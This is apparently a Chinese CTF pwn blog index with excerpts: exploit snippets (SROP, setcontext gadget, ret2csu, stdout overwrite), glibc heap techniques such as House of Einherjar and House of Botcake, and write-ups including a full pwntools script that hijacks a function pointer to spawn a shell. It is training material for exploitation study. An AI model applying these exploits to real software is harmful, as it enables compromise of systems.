Pwn Snippet

Code Snippets for Pwn 这里记录一些做CTF pwn题中大概也许可能会复用的代码片段. magic_gadget + setcontext+61 (高版本glibc) 注1: the_gadget 即 0x154b20: mov rdx,QWORD PTR [rdi+0x8] 0x154b24: mov QWORD PTR [rsp],rax 0x154b28: call QWORD PTR [rdx+0x20] SROP+伪造栈帧,按需布置伪栈帧和ROP链即可: frame = SigreturnFrame() frame.rax = 0 frame.rsp = ROP_address frame.rip = ret frame_str = str(frame).ljust(frame_size,"\x00) payload = p64(the_gadget) + p64(frame_addr) + p64(0)*4 + p64(setcontext+61) + frame_str[0x28:] payload += ..... #other stuff and ROP chain _IO_2_1_stdout_ gdb查找语句: p &_IO_2_1_stdout_ 覆盖为: payload = p64(0xfbad1800)+p64(0x0)*3+'\x00' ret2CSU payload = p6r + p64(0) + p64(1) + fuction_ptr\ + arg3 + arg2 + arg1 + mov_call\ + "\x00"*56 + return_address

May 20, 2021 · 1 min · 93 words · N0k

House of Einherjar

House Of Einherjar 通过off-by-one/off-by-null, 申请任意地址 利用结果: 使malloc返回任意地址 要求: 堆泄露, off-by-null 适用版本: 本篇记录的是改进版的House of Einherjar, 适用于包括2.31的带tcache版本. 利用方式 总结一下, 会用到三个chunk: a,b,c a: 在其中构造fake chunk b: victim, 在其中off-by-null溢出到c, 并修改c的prev_size,与fake chunk重叠 c: 被溢出修改prev_size的chunk 一些细节如下: c的chunk大小应为0x100的倍数,这样off-by-null时就不会出问题 fake_chunk -> size 要等于 c-> prev_size fake_chunk -> fd, fake_chunk -> bk 都指向fake_chunk, 以绕过unlink时的检查,也因此需要堆泄露 流程: 申请a,b,c 在B中改写C->prev_size, 同时通过OFF-BY-NULL写C->prev_inuse为0 填满 tcache[c -> size]; 当然,情况允许的话,我们也可以直接申请大于tcache范围的chunk. 释放c, 触发fake_chunk与c的合并 申请fake_chunk+c的chunk, 叫他d 桥豆麻袋! 此处需要先malloc并free一个b大小的chunk做padding. 释放b 开始攻击(tcache poisoning): 利用d修改 b->fd 为target 申请两次,第二次申请获取到target! 参考 https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_einherjar.c

May 14, 2021 · 1 min · 69 words · N0k

House of Botcake

House of Botcake 2.27中也可使用, 绕过tcache double free的检测. 利用结果: 使malloc返回任意地址 要求: 存在double free 利用方式 使用0x100 (chunk size: 0x110)来演示: listTrash = malloc(0x100) * 7 prev = malloc(0x100) a = malloc(0x100) # the victim malloc (0x10) #padding free(listTrash[i]) for i in [0,7) # fill up tcachebin free(a) # free a; a in unsortedbin free(prev) # prev consolidate with a malloc(0x100); # get one chunk from tcache free(a) # free victim again, now it is also in tcachebin malloc(0x120) # 利用重叠申请到prev+victim合并产生的chunk 改写victim的fd malloc(0x100) # BOOM! 参考 https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c ...

May 14, 2021 · 1 min · 83 words · N0k

VNCTF2021 Pwn

一点废话 2021年三月某个周日,安排本来是上午运动,下午打这个比赛. 然而篮球斗牛过程中被对手爆了头,昏了一整天,遂将这比赛鸽了… 过了一个月,回头看下比赛中的pwn题. ff glibc 2.32, 需要疯狂调试的一道题,令人昏迷. 程序分析 漏洞 free 后指针未清空. 坑点 没用数组存储指针, 只能控制上一个malloc()的chunk 能malloc()的最大大小为0x7F (之后会发现这点把最后利用时使用的size卡的很死) show() 只能用一次, 应该是要打stdout了 edit() 只能用两次… 2.32中, tcache_entry 中的next指针会被PROTECT_PTR函数异或处理, 使用的mask为其地址»12. 思路 利用PROTECT_PTR: 利用next值为0的chunk, 和 mask ⊕ 0 = mask 以上这个特性, show()泄露出 mask. mask存放着 堆地址 » 12. show()次数用尽. 通过UAF漏洞, edit()修改tcache_entry中的key值. tcache_entry使用用户chunk中的用户数据,key就在所谓bk指针的位置. 修改完key值,就可以绕过检查进行double free(). 通过edit()做tcache poisoning, 劫持到tcache_perthread_struct. 需注意tcache_entry->next 指向的是用户数据段, 因此需要劫持的地址需要加上0x10. 还需要用之前泄露出的mask对其做一次异或. edit()次数用尽. edit(p64(mask ^ (heap_base + 0x10))+p64(0)) tcache_perthread_struct大小为0x290, 我们把counts[0x290]覆盖成大于等于7,就能将其释放到unsortedbin中. 非常重要的一点: 记得我们在tcache_perthread_struct操作, 该chunk进入unsortedbin中会对counts[]进行污染,我们要将其清零. 同时,我们也应当为之后的利用entries[]的操作做准备,设置对应的counts[]值使其大于零. 利用unsortedbin中chunk的分割,将main_arena地址写到entries[目标大小]中. 通过partial overwrite 打到_IO_2_1_stdout_ (需要爆破,1 / 2^4). ...

April 8, 2021 · 3 min · 566 words · N0k

简单堆题write-up

ACTF_2019_babyheap 经典的notebook题目结构, 堆利用当中最简单的类型 有 ============================== This is a heap exploit demo ============================== 1. Create something 2. Delete something 3. Print something 4. Exit create, delete, print 三个选项。 创建的结构体如下 字符串指针 函数指针 字符串也由malloc()创建,且可以任意指定其长度和内容。 free()的时候也没有清空内容。 利用思路很明显了: create两次,其中字符串的内容不重要,只要保证其释放后不被放入0x20的fastbin中。 此处使这这两个字符串大小为0x20,因此他们被释放后会被放入0x30的字符串当中。 释放这两个note之后的fastbin如下 0x20 note0 🠗 note1 0x30 String0 🠗 String1 再次create,但申请的字符串大小为0x10(chunk大小即为0x20)。fastbin是FILO(first in last out)的,那么 note2 = note1 string2 = note0 题目bss段中贴心的准备了/bin/sh字符串,也有system函数。 在create时向string2中写入 binsh地址 | system的PLT表地址 print选项调用note0.函数指针,就能成功调用system('/bin/sh'),完整payload如下 if len(sys.argv) >1 and sys.argv[1] == 'r': target = remote() else: target = process("./ACTF_2019_babyheap") if(len(sys.argv)>1) and sys.argv[1]=='g': gdb.attach(target) context.log_level='debug' binsh=0x602010 system_plt = 0x4007A0 def s(in_put): target.sendlineafter("choice: ",in_put) def create(size,content): s("1") target.recvuntil("size: \n") target.sendline(str(size)) target.recvuntil("content: \n") target.send(content) def delete(index): s("2") target.recvuntil("index: \n") target.sendline(str(index)) def pwn(): create(0x20,"A"*8+"\n") create(0x20,"B"*8+"\n") delete(0) delete(1) create(0x10,p64(binsh)+p64(system_plt)) #use print at index 0 to getshell after this target.interactive() pwn() WDB_2018_1st_babyheap 同样是菜单题目,设计的十分巧妙,涉及到了很多堆的知识点. ...

March 4, 2021 · 2 min · 360 words · N0k